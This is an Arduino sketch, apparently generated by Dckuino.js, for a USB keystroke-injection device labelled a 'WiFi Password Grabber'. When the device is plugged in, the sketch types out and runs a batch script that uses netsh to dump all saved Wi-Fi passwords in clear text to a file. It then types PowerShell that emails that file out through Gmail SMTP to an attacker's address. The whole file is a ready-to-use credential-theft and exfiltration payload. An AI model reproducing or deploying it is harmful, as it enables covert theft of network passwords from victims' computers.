/*
 * Generated with <3 by Dckuino.js, an open source project !
 */

#include "Keyboard.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);

  // Author - Pulkit Singh Singhania - https://www.youtube.com/pulkitsinghaniapulkittech/ - psinghania929@gmail.com
  // WiFI-Password-Grabber-v1.0_(Works on Every Version Of Windows Without Any Bug)
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("notepad.exe");

  typeKey(KEY_RETURN);

  delay(2000);

  Keyboard.print("setlocal enabledelayedexpansion");

  typeKey(KEY_RETURN);

  Keyboard.print(":main");

  typeKey(KEY_RETURN);

  Keyboard.print("    :: Get all the profiles");

  typeKey(KEY_RETURN);

  Keyboard.print("    call :get-profiles r");

  typeKey(KEY_RETURN);

  Keyboard.print("    :: For each profile, try to get the password");

  typeKey(KEY_RETURN);

  Keyboard.print("    :main-next-profile");

  typeKey(KEY_RETURN);

  Keyboard.print("        for /f \"tokens=1* delims=,\" %%a in (\"%r%\") do (");

  typeKey(KEY_RETURN);

  Keyboard.print("            call :get-profile-key \"%%a\" key");

  typeKey(KEY_RETURN);

  Keyboard.print("            if \"!key!\" NEQ \"\" (");

  typeKey(KEY_RETURN);

  Keyboard.print("                echo WiFi: [%%a] Password: [!key!] >> password.txt");

  typeKey(KEY_RETURN);

  Keyboard.print("            )");

  typeKey(KEY_RETURN);

  Keyboard.print("            set r=%%b");

  typeKey(KEY_RETURN);

  Keyboard.print("        )");

  typeKey(KEY_RETURN);

  Keyboard.print("        if \"%r%\" NEQ \"\" goto main-next-profile");

  typeKey(KEY_RETURN);

  Keyboard.print("    echo.");

  typeKey(KEY_RETURN);

  Keyboard.print("    pause");

  typeKey(KEY_RETURN);

  Keyboard.print("    goto :eof");

  typeKey(KEY_RETURN);

  Keyboard.print("::");

  typeKey(KEY_RETURN);

  Keyboard.print(":: Get the WiFi key of a given profile");

  typeKey(KEY_RETURN);

  Keyboard.print(":get-profile-key <1=profile-name> <2=out-profile-key>");

  typeKey(KEY_RETURN);

  Keyboard.print("    setlocal");

  typeKey(KEY_RETURN);

  Keyboard.print("    set result=");

  typeKey(KEY_RETURN);

  Keyboard.print("    FOR /F \"usebackq tokens=2 delims=:\" %%a in (");

  typeKey(KEY_RETURN);

  Keyboard.print("        `netsh wlan show profile name^=\"%~1\" key^=clear ^| findstr /C:\"Key Content\"`) DO (");

  typeKey(KEY_RETURN);

  Keyboard.print("        set result=%%a");

  typeKey(KEY_RETURN);

  Keyboard.print("        set result=!result:~1!");

  typeKey(KEY_RETURN);

  Keyboard.print("    )");

  typeKey(KEY_RETURN);

  Keyboard.print("    (");

  typeKey(KEY_RETURN);

  Keyboard.print("        endlocal");

  typeKey(KEY_RETURN);

  Keyboard.print("        set %2=%result%");

  typeKey(KEY_RETURN);

  Keyboard.print("    )");

  typeKey(KEY_RETURN);

  Keyboard.print("    goto :eof");

  typeKey(KEY_RETURN);

  Keyboard.print("::");

  typeKey(KEY_RETURN);

  Keyboard.print(":: Get all network profiles (comma separated) into the result result-variable");

  typeKey(KEY_RETURN);

  Keyboard.print(":get-profiles <1=result-variable>");

  typeKey(KEY_RETURN);

  Keyboard.print("    setlocal");

  typeKey(KEY_RETURN);

  Keyboard.print("    set result=");

  typeKey(KEY_RETURN);

  Keyboard.print("    FOR /F \"usebackq tokens=2 delims=:\" %%a in (");

  typeKey(KEY_RETURN);

  Keyboard.print("        `netsh wlan show profiles ^| findstr /C:\"All User Profile\"`) DO (");

  typeKey(KEY_RETURN);

  Keyboard.print("        set val=%%a");

  typeKey(KEY_RETURN);

  Keyboard.print("        set val=!val:~1!");

  typeKey(KEY_RETURN);

  Keyboard.print("        set result=%!val!,!result!");

  typeKey(KEY_RETURN);

  Keyboard.print("    )");

  typeKey(KEY_RETURN);

  Keyboard.print("    (");

  typeKey(KEY_RETURN);

  Keyboard.print("        endlocal");

  typeKey(KEY_RETURN);

  Keyboard.print("set %1=%result:~0,-1%");

  typeKey(KEY_RETURN);

  Keyboard.print("    )");

  typeKey(KEY_RETURN);

  Keyboard.print("    goto :eof");

  delay(500);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("%appdata%\\WiFiGrabber.bat");

  typeKey(KEY_RETURN);

  delay(1000);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();

  delay(1000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("cmd");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print("cd %appdata%");

  typeKey(KEY_RETURN);

  Keyboard.print("WiFiGrabber.bat");

  typeKey(KEY_RETURN);

  delay(5000);

  typeKey(KEY_RETURN);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

  delay(1000);

  Keyboard.print("$SMTPServer = 'smtp.gmail.com'");

  typeKey(KEY_RETURN);

  Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");

  typeKey(KEY_RETURN);

  Keyboard.print("$SMTPInfo.EnableSsl = $true");

  typeKey(KEY_RETURN);

  Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('sender@gmail.com', 'senderpass');");

  typeKey(KEY_RETURN);

  Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");

  typeKey(KEY_RETURN);

  Keyboard.print("$ReportEmail.From = 'sender@gmail.com'");

  typeKey(KEY_RETURN);

  Keyboard.print("$ReportEmail.To.Add('reciever@gmail.com')");

  typeKey(KEY_RETURN);

  Keyboard.print("$ReportEmail.Body = 'Here Are The Wi-fi Passwords'");

  typeKey(KEY_RETURN);

  Keyboard.print("$ReportEmail.Attachments.Add('password.txt')");

  typeKey(KEY_RETURN);

  delay(1000);

  Keyboard.print("$SMTPInfo.Send($ReportEmail)");

  typeKey(KEY_RETURN);

  Keyboard.print("exit");

  typeKey(KEY_RETURN);

  delay(5000);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();

  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}